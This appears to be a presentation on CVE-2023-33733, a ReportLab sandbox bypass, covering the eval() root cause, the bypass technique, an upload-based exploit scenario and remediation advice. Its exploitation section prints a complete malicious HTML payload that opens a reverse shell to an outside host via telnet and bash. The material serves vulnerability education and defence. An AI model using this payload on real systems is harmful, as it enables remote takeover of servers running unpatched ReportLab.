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Overview about 
CVE-2023-33733



• Report lab is a library that lets you directly create  PDF

• It can create PDF documents as desired, including text, images, tables, charts, and 
various other content

Introducing Reportlab library
O v e r v i e w  a b o u t  C V E - 2 0 2 3 - 3 3 7 3 3
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Reportlab up to v3.6.12 allows attackers bypass sandbox implemented on the 
‘rl_safe_eval’ function. In this case, remote code execution was achieved through 
the Color attribute of HTML tags, which was directly evaluated as a Python 
expression using the eval() function.

CVE-2023-33733 Description
O v e r v i e w  a b o u t  C V E - 2 0 2 3 - 3 3 7 3 3



NVD – CVE-2023-33733 (nist.gov)

Severity
C V E - 2 0 2 3 - 3 3 7 3 3

CVE Dictionary Entry:
CVE-2023-33733
NVD Published Date:
06/05/2023
NVD Last Modified:
11/06/2023
Source:
MITRE

https://nvd.nist.gov/vuln/detail/CVE-2023-33733
https://cve.org/CVERecord?id=CVE-2023-33733


CVSS 3.1 Calculator

Severity
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The Workflow of Reportlab Library
O v e r v i e w  a b o u t  C V E - 2 0 2 3 - 3 3 7 3 3

Input: Simple 
HTML File

Service Base: 
ReportLab

Call function: 
paragraph.py 

Call function: 
paraparser.py 

Handle 
HTML tags

Output:
 PDF File
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How does the 
vulnerability work?



Create a python file that uses vulnerable 
Reportlab library to create PDF from 
HTML file or content.

Run program
C V E - 2 0 2 3 - 3 3 7 3 3

Import Library

HTML Content



Running Thread
H o w  d o e s  t h e  v u l n e r a b i l i t y  w o r k ?

Paraparser process

Paragraph process

Handle HTML process



Paragraph process
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Handle HTML process
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Handle HTML process
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The root 
cause of the 
problem



CVE-2023-50477

Pillow through 10.1.0 all
ows PIL.ImageMath.eval

Arbitrary Code 
Execution via the 

environment parameter​

Base Score: 9.8 CRITICAL

CVE-2022-21797

The package joblib from 
0 and before 1.2.0 
are vulnerable to 

Arbitrary Code Execution 
via the pre_dispatch flag 
in Parallel() class due to 

the eval() statement​

Base Score: 9.8 CRITICAL

CVE-2022-22817

PIL.ImageMath.eval          
in Pillow before 

9.0.0 allows evaluation of 
arbitrary expressions, 

such as ones that use the 
Python 

exec method ImageMath
.eval("exec(exit())")

Base Score: 9.8 CRITICAL

Some CVEs related to eval() function

eval() function (the root cause)
H o w  d o e s  t h e  v u l n e r a b i l i t y  w o r k ?



How to bypass safe 
function?



How to 
bypass



What Inside?
H o w  t o  b y p a s s  s a f e  f u n c t i o n ?



Custom built-in methods
H o w  t o  b y p a s s  s a f e  f u n c t i o n ?



Flow: Bypass to RCE
H o w  t o  b y p a s s  s a f e  f u n c t i o n ?

Bypass

Create new type 
Object

type(name, bases, dict) type(type)

type (author)Build Payload

Remote Code 
Execution
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type(name, bases, dict)

Create Object
H o w  t o  b y p a s s  s a f e  f u n c t i o n ?
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type (author)

Create Object
H o w  t o  b y p a s s  s a f e  f u n c t i o n ?



Flow: Bypass to RCE
H o w  t o  b y p a s s  s a f e  f u n c t i o n ?

Bypass

Create new type 
Object

type(name, bases, dict) type(type)

type (author)Build Payload

Remote Code 
Execution



type(type)

Create Object
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Create new type Object

Create Object
H o w  t o  b y p a s s  s a f e  f u n c t i o n ?



Create Object
H o w  t o  b y p a s s  s a f e  f u n c t i o n ?

False



Create Object
H o w  t o  b y p a s s  s a f e  f u n c t i o n ?

False or False and … FalseFalse



Flow: Bypass to RCE
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Bypass
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Build Payload
H o w  t o  b y p a s s  s a f e  f u n c t i o n ?

• How to call execute command function?

• How will the previously created New type Object be used?



Build Payload
H o w  t o  b y p a s s  s a f e  f u n c t i o n ?

Local

Enclosed

Globals

Built-in

Python Scope



Build Payload
H o w  t o  b y p a s s  s a f e  f u n c t i o n ?

Python Scope

Globals type object



Build Payload
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Python Scope



Build Payload
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Build Payload
H o w  t o  b y p a s s  s a f e  f u n c t i o n ?

Get globals attributepow.__globals__[‘os’].system(<command>)



Build Payload
H o w  t o  b y p a s s  s a f e  f u n c t i o n ?

pow {Attacker} ‘__globals__’



List comprehension

Build Payload

eval()

H o w  t o  b y p a s s  s a f e  f u n c t i o n ?



List comprehension

Build Payload: Final
H o w  t o  b y p a s s  s a f e  f u n c t i o n ?



Exploitation and 
Remediation



Web server has a feature that 
allows converting HTML 
codes/file to PDF with 
outdated Reportlab version.

Attacker creates a malicious 
HTML file and uploads it to 
server like a payload.

After successfully establishing 
a connection, execution 
commands will be sent to hide 
the behavior and execute 
exploits to exert complete 
control of the victim's device.

Exploit: Scenario
E x p l o i t a t i o n  a n d  R e m e d i a t i o n



Create malicious HTML
E x p l o i t a t i o n  a n d  R e m e d i a t i o n

<para>
  <font color="[ [ 
getattr(pow,Attacker('__globals__'))['os'].system('TF=$(mktemp -
u);mkfifo $TF && telnet 10.11.12.13 4444 0<$TF | bash 1>$TF') 
for Attacker in [orgTypeFun('Attacker', (str,), { 'mutated': 1, 
'startswith': lambda self, x: False, '__eq__': lambda self,x: 
self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': 
lambda self: {setattr(self, 'mutated', self.mutated - 1)}, 
'__hash__': lambda self: hash(str(self)) })] ] for orgTypeFun in 
[type(type(1))]] and 'red'">
    exploit
  </font>
</para>

Malicious HTML file



Upload malicious HTML
E x p l o i t a t i o n  a n d  R e m e d i a t i o n



Get remote access
E x p l o i t a t i o n  a n d  R e m e d i a t i o n



• Scan with MetaDefender Core (SBOM)

• Update to later version

Remediation
E x p l o i t a t i o n  a n d  R e m e d i a t i o n
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• Scan with MetaDefender Core (SBOM)

• Update to later version

Remediation
E x p l o i t a t i o n  a n d  R e m e d i a t i o n



Demo video
E X P L O I T A T I O N  A N D  R E M E D I A T I O N



Demo video
We have two videos:

+ Exploitation

Server:

• Deploy vulnerable server

Attacker:

• Prepare evil.html

• Upload evil.html to server

• Discovery directory on server

+ Remediation:

• Scan with MetaDefender Core (SBOM)







Thank you for listening

Q&A
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